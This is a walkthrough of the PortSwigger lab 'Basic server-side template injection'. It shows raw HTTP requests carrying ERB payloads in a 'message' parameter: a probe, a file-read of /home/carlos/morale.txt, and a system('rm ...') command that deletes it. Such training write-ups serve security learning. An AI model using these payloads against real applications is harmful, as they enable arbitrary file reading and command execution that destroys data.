Skip to content

Port Swigger Basic server side template injection

Basic server-side template injection

Solution

Open website: https://0a9900f304484192807485e800dd001f.web-security-academy.net/product?productId=1

GET /product?productId=1 HTTP/2
Host: 0a9900f304484192807485e800dd001f.web-security-academy.net
Cookie: session=9L5jyD0JxtUuPJTtnF1Uz2zB9vDNiapS
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9900f304484192807485e800dd001f.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Get error "Unfortunately this product is out of stock"

GET /?message=Unfortunately%20this%20product%20is%20out%20of%20stock HTTP/2
Host: 0a9900f304484192807485e800dd001f.web-security-academy.net
Cookie: session=9L5jyD0JxtUuPJTtnF1Uz2zB9vDNiapS
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9900f304484192807485e800dd001f.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Put SSTI payload: <%= 2 * 2 %>

Payload: <%= 2 * 2 %>
---
GET /?message=<%= 2 * 2 %> HTTP/2
Host: 0a9900f304484192807485e800dd001f.web-security-academy.net
Cookie: session=9L5jyD0JxtUuPJTtnF1Uz2zB9vDNiapS
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9900f304484192807485e800dd001f.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Put second SSTI payload: <%= File.open('/home/carlos/morale.txt').read %>

Read file from: /home/carlos/morale.txt
Payload: <%= File.open('/home/carlos/morale.txt').read %> 
---
GET /?message=<%= File.open('/home/carlos/morale.txt').read %> HTTP/2
Host: 0a9900f304484192807485e800dd001f.web-security-academy.net
Cookie: session=9L5jyD0JxtUuPJTtnF1Uz2zB9vDNiapS
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9900f304484192807485e800dd001f.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Put second SSTI payload: <%= system('rm /home/carlos/morale.txt') %>

Delete file from: /home/carlos/morale.txt
Payload: <%= system('rm /home/carlos/morale.txt') %>
---
GET /?message=<%= system('rm /home/carlos/morale.txt') %> HTTP/2
Host: 0a9900f304484192807485e800dd001f.web-security-academy.net
Cookie: session=9L5jyD0JxtUuPJTtnF1Uz2zB9vDNiapS
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a9900f304484192807485e800dd001f.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved